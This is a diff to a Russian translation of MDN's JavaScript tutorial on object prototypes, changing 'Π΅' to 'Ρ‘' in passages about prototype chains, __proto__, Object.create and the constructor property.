href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto"> </a>(это 2 подчСркивания с ΠΎΠ±Π΅ΠΈΡ… сторон), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚-ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°-конструктора. НапримСр, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ <code>person1.__proto__</code> ΠΈ <code>person1.__proto__.__proto__</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ выглядит Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ° Π² ΠΊΠΎΠ΄Π΅!</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠžΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π½Π΅Ρ‚ способа ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ - «ссылки» ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π²ΠΎ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΌ свойствС, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΌ <code>[[prototype]]</code> Π² спСцификации для языка JavaScript ( см. {{glossary("ECMAScript")}}). Однако Ρƒ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π΅ΡΡ‚ΡŒ свойство, доступноС для Π½ΠΈΡ… ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto"> </a>(это 2 подчёркивания с ΠΎΠ±Π΅ΠΈΡ… сторон), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚-ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°-конструктора. НапримСр, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ <code>person1.__proto__</code> ΠΈ <code>person1.__proto__.__proto__</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ выглядит Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ° Π² ΠΊΠΎΠ΄Π΅!</p>
<p>Π‘ ECMAScript 2015 Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ косвСнно ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>Object.getPrototypeOf (obj)</code>.</p>
</div>
@@ -108,14 +108,14 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object_prototypes
<p>Π˜Ρ‚Π°ΠΊ, Π³Π΄Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ наслСдуСмыС свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹? Если Π²Ρ‹ посмотритС Π½Π° страницу со ссылкой <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code>, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² Π»Π΅Π²ΠΎΠΉ части большоС количСство свойств ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² - это Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС, Ρ‡Π΅ΠΌ количСство унаслСдованных Ρ‡Π»Π΅Π½ΠΎΠ², доступных для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>person1</code>. НСкоторыС ΠΈΠ· Π½ΠΈΡ… унаслСдованы, Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅Ρ‚ - ΠΏΠΎΡ‡Π΅ΠΌΡƒ это?</p>
-<p>Как ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅, наслСдованныС свойства это Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² свойствС <code>prototype</code> (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒ это подпространством ΠΈΠΌΠ΅Π½), Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с <code>Object.prototype.</code>, Π° Π½Π΅ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с простого <code>Object</code>. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>prototype</code> - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² основном прСдставляСт собой ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для хранСния свойств ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, располоТСнными дальшС ΠΏΠΎ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ².</p>
+<p>Как ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅, наслСдованныС свойства это Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² свойствС <code>prototype</code> (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒ это подпространством ΠΈΠΌΡ‘Π½), Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с <code>Object.prototype.</code>, Π° Π½Π΅ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с простого <code>Object</code>. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>prototype</code> - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² основном прСдставляСт собой ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ для хранСния свойств ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, располоТСнными дальшС ΠΏΠΎ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ².</p>
<p>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/watch">Object.prototype.watch()</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf">Object.prototype.valueOf()</a></code> ΠΈ Ρ‚. Π΄. доступны для Π»ΡŽΠ±Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ ΠΎΡ‚ <code>Object.prototype</code>, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π½ΠΎΠ²Ρ‹Π΅ экзСмпляры ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², созданныС ΠΈΠ· конструктора <code>Person()</code> .</p>
-<p><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is()</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code> ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‡Π»Π΅Π½Ρ‹, Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ <code>prototype</code>, Π½Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ экзСмплярами ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈΠ»ΠΈ Ρ‚ΠΈΠΏΠ°ΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ ΠΎΡ‚ <code>Object.prototype</code>. Π­Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ / свойства, доступныС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² конструкторС <code>Object()</code>.</p>
+<p><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is()</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code> ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‡Π»Π΅Π½Ρ‹, Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ <code>prototype</code>, Π½Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ экзСмплярами ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈΠ»ΠΈ Ρ‚ΠΈΠΏΠ°ΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ ΠΎΡ‚ <code>Object.prototype</code>. Π­Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ / свойства, доступныС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² конструкторС <code>Object()</code>.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π­Ρ‚ΠΎ каТСтся странным - ΠΊΠ°ΠΊ Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ для конструктора, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сам ΠΏΠΎ сСбС являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ? Ну, функция Ρ‚Π°ΠΊΠΆΠ΅ являСтся Ρ‚ΠΈΠΏΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° - см. Бсылку Π½Π° конструктор <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code>, Ссли Π²Ρ‹ Π½Π°ΠΌ Π½Π΅ Π²Π΅Ρ€ΠΈΡ‚Π΅.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π­Ρ‚ΠΎ каТСтся странным - ΠΊΠ°ΠΊ Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ для конструктора, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сам ΠΏΠΎ сСбС являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ? Ну, функция Ρ‚Π°ΠΊΠΆΠ΅ являСтся Ρ‚ΠΈΠΏΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° - см. Бсылку Π½Π° конструктор <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code>, Ссли Π²Ρ‹ Π½Π°ΠΌ Π½Π΅ Π²Π΅Ρ€ΠΈΡ‚Π΅.</p>
</div>
<ol>
@@ -127,9 +127,9 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object_prototypes
</li>
</ol>
-<p>Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ большоС количСство ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… для свойства <code>prototype</code>Β <code>Object</code>'Π°Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Ρ‚Π΅ΠΌ доступны для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ ΠΎΡ‚ <code>Object</code>, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅.</p>
+<p>Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ большоС количСство ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… для свойства <code>prototype</code>Β <code>Object</code>'Π°Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Ρ‚Π΅ΠΌ доступны для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ ΠΎΡ‚ <code>Object</code>, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅.</p>
-<p>Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ наслСдования Ρ†Π΅ΠΏΠΎΡ‡Π΅ΠΊ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ² ΠΏΠΎ всСму JavaScript - ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π½Π° ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code> ΠΈ <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€. ВсС ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ нСсколько элСмСнтов, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π½Π° ΠΈΡ… ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅, поэтому, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создаСтС строку, Π²ΠΎΡ‚ Ρ‚Π°ΠΊ:</p>
+<p>Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ наслСдования Ρ†Π΅ΠΏΠΎΡ‡Π΅ΠΊ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ² ΠΏΠΎ всСму JavaScript - ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π½Π° ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code> ΠΈ <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€. ВсС ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ нСсколько элСмСнтов, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π½Π° ΠΈΡ… ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅, поэтому, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создаётС строку, Π²ΠΎΡ‚ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js">var myString = 'This is my string.';</pre>
@@ -147,16 +147,16 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object_prototypes
<li>НапримСр, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ это Π² консоли JavaScript ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:
<pre class="brush: js">var person2 = Object.create(person1);</pre>
</li>
- <li>На самом Π΄Π΅Π»Π΅ <code>create()</code>создаСт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ· ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°-ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°. Π—Π΄Π΅ΡΡŒ <code>person2</code> создаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>person1</code> Π² качСствС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°-ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, ввСдя Π² консоли ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:
+ <li>На самом Π΄Π΅Π»Π΅ <code>create()</code>создаёт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ· ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°-ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°. Π—Π΄Π΅ΡΡŒ <code>person2</code> создаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>person1</code> Π² качСствС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°-ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, ввСдя Π² консоли ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:
<pre class="brush: js">person2.__proto__</pre>
</li>
</ol>
-<p>Π­Ρ‚ΠΎ Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">person1</span></font>.</p>
+<p>Π­Ρ‚ΠΎ Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">person1</span></font>.</p>
<h2 id="Бвойство_constructor">Бвойство constructor</h2>
-<p>КаТдая функция-конструктор ΠΈΠΌΠ΅Π΅Ρ‚ свойство <code>prototype</code>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, содСрТащий свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a></code>. Π­Ρ‚ΠΎ свойство <code>constructor</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° ΠΈΡΡ…ΠΎΠ΄Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-конструктор. Как Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅, свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π² свойствС <code>Person.prototype</code> (ΠΈΠ»ΠΈ Π² ΠΎΠ±Ρ‰Π΅ΠΌ случаС Π² качСствС свойства ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ конструктора, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅) становятся доступными для всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² экзСмпляра, созданных с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктор <code>Person()</code>. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, свойство конструктора Ρ‚Π°ΠΊΠΆΠ΅ доступно для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code>person1</code> ΠΈ <code>person2</code>.</p>
+<p>КаТдая функция-конструктор ΠΈΠΌΠ΅Π΅Ρ‚ свойство <code>prototype</code>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, содСрТащий свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a></code>. Π­Ρ‚ΠΎ свойство <code>constructor</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° ΠΈΡΡ…ΠΎΠ΄Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-конструктор. Как Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅, свойства, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π² свойствС <code>Person.prototype</code> (ΠΈΠ»ΠΈ Π² ΠΎΠ±Ρ‰Π΅ΠΌ случаС Π² качСствС свойства ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ конструктора, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅) становятся доступными для всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² экзСмпляра, созданных с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктор <code>Person()</code>. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, свойство конструктора Ρ‚Π°ΠΊΠΆΠ΅ доступно для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code>person1</code> ΠΈ <code>person2</code>.</p>
<ol>
<li>НапримСр, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ эти ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π² консоли:
@@ -165,7 +165,7 @@ person2.constructor</pre>
<p>Они Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ конструктор <code>Person()</code>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ содСрТит исходноС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ этих экзСмпляров.</p>
